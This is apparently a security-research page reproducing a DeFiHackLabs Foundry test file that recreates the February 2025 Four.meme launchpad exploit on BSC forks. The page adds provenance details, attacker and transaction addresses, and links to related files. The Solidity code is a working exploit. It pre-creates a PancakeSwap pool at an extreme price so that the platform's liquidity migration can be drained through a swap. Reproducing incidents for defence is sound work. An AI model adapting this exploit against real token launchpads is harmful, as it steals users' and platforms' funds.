Public reproduction file
src/test/2025-02/FourMeme_exp.sol
Public reproduction file for dataset entry FourMeme.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20, WETH} from "../interface.sol";7// @KeyInfo - Total Lost : 186k (287bnb)8// Attacker 1: https://bscscan.com/address/0x010Fc97CB0a4D101dCe20DAB37361514bD59A53A9// Attacker 2: https://bscscan.com/address/0x935d6cf073eab37ca2b5878af21329d5dbf4f4a510// Attacker 3: https://bscscan.com/address/0xf91848a076efaa6b8ecc9d378ab6d32bd506dc7911// Attacker 4: https://bscscan.com/address/0x907004b6bb6965a83fdbcbc060a5b30bc876c33d12// Attacker 5: https://bscscan.com/address/0x482b004e7800174a1efb87f496552ac8f53b2fda14// Attack Contract 1 (Swap and take profit): https://bscscan.com/address/0x06799F7b09A455c1cF6a8E7615Ece04B31A9D05115// Attack Contract 2 (Hacker buy meme token): https://bscscan.com/address/0x4fdebca823b7886c3a69fa5fc014104f646d959116// Attack Contract 3 (Hacker create pool): https://bscscan.com/address/0xbf26e147918a07cb8d8cf38d260edf346977686c17// Vulnerable Contract (Four meme launchpad): https://bscscan.com/address/0x5c952063c7fc8610FFDB798152D69F0B9550762b19// Pre Attack Tx (Buy meme token): https://bscscan.com/tx/0xdb5d43317ab8e5d67cdd5006b30a6f2ced513237ac189eb1e57f0f06f630d58220// Pre Attack Tx (Hacker create pool): https://bscscan.com/tx/0x4235b006b94a79219181623a173a8a6aadacabd01d6619146ffd6fbcbb206dff21// Pre Attack Tx (Four meme add liquidity): https://bscscan.com/tx/0xe0daa3bf68c1a714f255294bd829ae800a381624417ed4b474b415b9d2efeeb522// Attack Tx (Swap and take profit): https://bscscan.com/tx/0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f6124// @Info25// Vulnerable Contract Code : Four meme launchpad code isn't open source26// Notice that nearly 20 meme tokens are exploited by the hacker in the same way27// I only demonstrate the attack on snowboard token29// @Analysis30// Check chaincatcher analysis first31// Post-mortem : https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be32// Twitter Guy : https://x.com/four_meme_/status/188919879669504413833// Hacking God : https://x.com/PeckShieldAlert/status/188921000122042376535interface IFourMeme {36 function addLiquidity(address, uint160) external;37 function buyTokenAMAP(address token, uint256 amount, uint256 unknown) external payable;38}40interface IPancakeRouter {41 function createAndInitializePoolIfNecessary(42 address tokenA,43 address tokenB,44 uint24 fee,45 uint160 sqrtPriceX9646 ) external payable returns (address pool);47}49interface IPancakePool {50 function swap(51 address recipient,52 bool zeroForOne,53 int256 amountSpecified,54 uint160 sqrtPriceLimitX96,55 bytes calldata data56 ) external returns (int256 amount0, int256 amount1);57}59contract FourMeme is BaseTestWithBalanceLog {60 address public fourMemeOwner = 0x74d86638f359bDfF6EC55d78A97F294747f8f5B3;61 address public fourMeme = 0x5c952063c7fc8610FFDB798152D69F0B9550762b;62 address public memeToken = 0x4AbfD9a204344bd81A276C075ef89412C9FD2f64; // snowboard63 address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;64 address public pancakeRouter = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;65 address public pancakePool = 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c;66 address public attackerBuyContract = 0x4FdEBcA823b7886c3A69fA5fC014104F646D9591;68 string constant RPC_URL = "bsc"; // You may need to change "bsc" to your own rpc url70 uint256 public bscBuyFork = vm.createFork(RPC_URL, 46_555_711);71 uint256 public bscHackerCreatePoolFork = vm.createFork(RPC_URL, 46_555_725);72 uint256 public bscCreatePoolFork = vm.createFork(RPC_URL, 46_555_731 - 1);73 uint256 public bscSwapFork = vm.createFork(RPC_URL, 46_555_732 - 1);75 BuyMemeFromFourMeme public buyMemeFromFourMeme;76 HackerPool public hackerPool;77 Swap public swap;79 function setUp() public {80 vm.label(address(fourMemeOwner), "fourMemeOwner");81 vm.label(address(fourMeme), "fourMeme");82 vm.label(address(memeToken), "memeToken");83 vm.label(address(wbnb), "wbnb");84 vm.label(address(pancakeRouter), "pancakeRouter");85 vm.label(address(pancakePool), "pancakePool");86 vm.label(address(attackerBuyContract), "attackerBuyContract");88 fundingToken = address(0);89 }91 function testExploit() public balanceLog {92 // Preparation93 buyMemeToken(); // User can only get meme token from four.meme platform during this stage94 HackerCreatePool(); // Hacker create a pool with extremely high sqrtPriceX9695 CreatePool(); // When the market capitalization of the memecoin reaches 24 BNB, four.meme migrates the liquidity to pancakeswap97 // Make profit98 SwapToken(); // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb99 }101 // Buy meme token from four.meme102 function buyMemeToken() public {103 vm.selectFork(bscBuyFork);104 buyMemeFromFourMeme = new BuyMemeFromFourMeme(fourMeme, memeToken);105 vm.deal(address(this), 0.0001 ether); // Use 0.0001 bnb to buy meme106 buyMemeFromFourMeme.buyToken{value: 0.0001 ether}(); // Buy 1_603.243_002_223_000_000_000 snowboard107 }109 // Create a pool on pancakeswap by hacker110 function HackerCreatePool() public {111 vm.selectFork(bscHackerCreatePoolFork);112 hackerPool = new HackerPool(pancakeRouter, fourMeme, memeToken, wbnb);113 address pool = hackerPool.createPool(); // 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c114 }116 // It should create a pool on pancakeswap by four.meme platform117 // But instead it added liquidity to the pool created by hacker118 // This is because hacker already created a pool on pancakeswap119 // The restriction on transfer is also removed in addLiquidity function120 function CreatePool() public {121 vm.selectFork(bscCreatePoolFork);122 // Only four.meme owner can call addLiquidity123 // So this function is called by four.meme platform124 vm.startPrank(fourMemeOwner, fourMemeOwner);125 uint160 sqrtPriceX96 = uint160(27_169_599_998_237_907_265_358_521);126 IFourMeme(fourMeme).addLiquidity(memeToken, sqrtPriceX96);127 vm.stopPrank();128 }130 // Swap snowboard token to wbnb131 function SwapToken() public {132 vm.selectFork(bscSwapFork);133 swap = new Swap(pancakePool, fourMeme, memeToken, wbnb);134 // Transfer snowboard token to attacker contract135 // attackerBuyContract is the real buyMemeFromFourMeme contract used by hacker136 // Because the trading function within four.meme is not allowed in this block137 // So I can only transfer snowboard token from attackerBuyContract138 uint256 balance = IERC20(memeToken).balanceOf(attackerBuyContract);139 vm.prank(attackerBuyContract);140 IERC20(memeToken).transfer(address(swap), balance);142 int256 amountSpecified = int256(IERC20(memeToken).balanceOf(address(swap))); // 1_603.243_002_223_000_000_000143 uint160 sqrtPriceLimitX96 = 4_295_128_740;144 // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb145 int256 wbnbAmount = swap.swap(amountSpecified, sqrtPriceLimitX96);146 swap.withdraw();147 WETH(wbnb).withdraw(uint256(-wbnbAmount));148 }150 fallback() external payable {}152 receive() external payable {}153}155contract BuyMemeFromFourMeme {156 // During this stage, user can only buy meme token from four.meme platform157 // Neither OTC nor pancakeswap is allowed158 address public fourMeme;159 address public memeToken;161 constructor(address _fourMeme, address _memeToken) {162 fourMeme = _fourMeme;163 memeToken = _memeToken;164 }166 function buyToken() public payable {167 IFourMeme(fourMeme).buyTokenAMAP{value: msg.value}(memeToken, 100_000_000_000_000, 0);168 }170 fallback() external payable {}172 receive() external payable {}173}175contract HackerPool {176 address public pancakeRouter;177 address public fourMeme;178 address public memeToken;179 address public wbnb;181 constructor(address _pancakeRouter, address _fourMeme, address _memeToken, address _wbnb) {182 pancakeRouter = _pancakeRouter;183 fourMeme = _fourMeme;184 memeToken = _memeToken;185 wbnb = _wbnb;186 }188 // Create a pool on pancakeswap by hacker189 function createPool() public returns (address) {190 // Ask for pancakeswap fee191 (bool success, bytes memory data) = address(fourMeme).call(192 abi.encodeWithSelector(0x9f266331, address(memeToken))193 );194 (, uint24 pancakeFee, ) = abi.decode(data, (uint256, uint24, uint256));196 uint160 sqrtPriceX96 = uint160(10_000_000_000_000_000_000_000_000_000_000_000_000_000); // 368_058_418_256_012 times larger than the normal value198 address pool = IPancakeRouter(pancakeRouter).createAndInitializePoolIfNecessary(199 memeToken,200 wbnb,201 pancakeFee,202 sqrtPriceX96203 );204 return pool;205 }206}208contract Swap {209 address public pancakePool;210 address public fourMeme;211 address public memeToken;212 address public wbnb;213 address public owner;215 constructor(address _pancakePool, address _fourMeme, address _memeToken, address _wbnb) {216 pancakePool = _pancakePool;217 fourMeme = _fourMeme;218 memeToken = _memeToken;219 wbnb = _wbnb;220 owner = msg.sender;221 }223 // Call the swap function of pancakeswap pool (snowboard -> wbnb)224 function swap(int256 amountSpecified, uint160 sqrtPriceLimitX96) public returns (int256) {225 (int256 memeTokenAmount, int256 wbnbAmount) = IPancakePool(pancakePool).swap(226 address(this),227 true,228 amountSpecified,229 sqrtPriceLimitX96,230 ""231 );232 return wbnbAmount;233 }235 // This function is called by pancakeswap pool236 // It is used to transfer snowboard token to pancakeswap pool237 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {238 IERC20(memeToken).transfer(pancakePool, uint256(amount0Delta));239 }241 function withdraw() external {242 IERC20(wbnb).transfer(owner, IERC20(wbnb).balanceOf(address(this)));243 }244}Analysis
Dataset entry
Public Foundry test for “FourMeme” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x010fc97cb0a4d101dce20dab37361514bd59a53a
- Attacker
0x935d6cf073eab37ca2b5878af21329d5dbf4f4a5
- Attacker
0xf91848a076efaa6b8ecc9d378ab6d32bd506dc79
- Attacker
0x907004b6bb6965a83fdbcbc060a5b30bc876c33d
- Attacker
0x482b004e7800174a1efb87f496552ac8f53b2fda
- Attack Contract
0x06799f7b09a455c1cf6a8e7615ece04b31a9d051
- Attack Contract
0x4fdebca823b7886c3a69fa5fc014104f646d9591
- Attack Contract
0xbf26e147918a07cb8d8cf38d260edf346977686c
- Vulnerable Contract
0x5c952063c7fc8610ffdb798152d69f0b9550762b
- Attack Tx
0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f61
- Post: https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be
- Twitter: https://x.com/four_meme_/status/1889198796695044138
- Explorer: https://bscscan.com/address/0x010Fc97CB0a4D101dCe20DAB37361514bD59A53A
- Explorer: https://bscscan.com/address/0x935d6cf073eab37ca2b5878af21329d5dbf4f4a5
- Explorer: https://bscscan.com/address/0xf91848a076efaa6b8ecc9d378ab6d32bd506dc79
- Explorer: https://bscscan.com/address/0x907004b6bb6965a83fdbcbc060a5b30bc876c33d
- Explorer: https://bscscan.com/address/0x482b004e7800174a1efb87f496552ac8f53b2fda
- Explorer: https://bscscan.com/address/0x06799F7b09A455c1cF6a8E7615Ece04B31A9D051
- Explorer: https://bscscan.com/address/0x4fdebca823b7886c3a69fa5fc014104f646d9591
- Explorer: https://bscscan.com/address/0xbf26e147918a07cb8d8cf38d260edf346977686c
- Explorer: https://bscscan.com/address/0x5c952063c7fc8610FFDB798152D69F0B9550762b
- Explorer: https://bscscan.com/tx/0xdb5d43317ab8e5d67cdd5006b30a6f2ced513237ac189eb1e57f0f06f630d582
File record
- Name
- FourMeme
- Path
- src/test/2025-02/FourMeme_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d97c52df71ed8ec6b590e0f43295b429b85723db
- Language
- Solidity
- Size
- 245 lines
- Date
- 2025-02-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/FourMeme_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d97c52df71ed8ec6b590e0f43295b429b85723db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.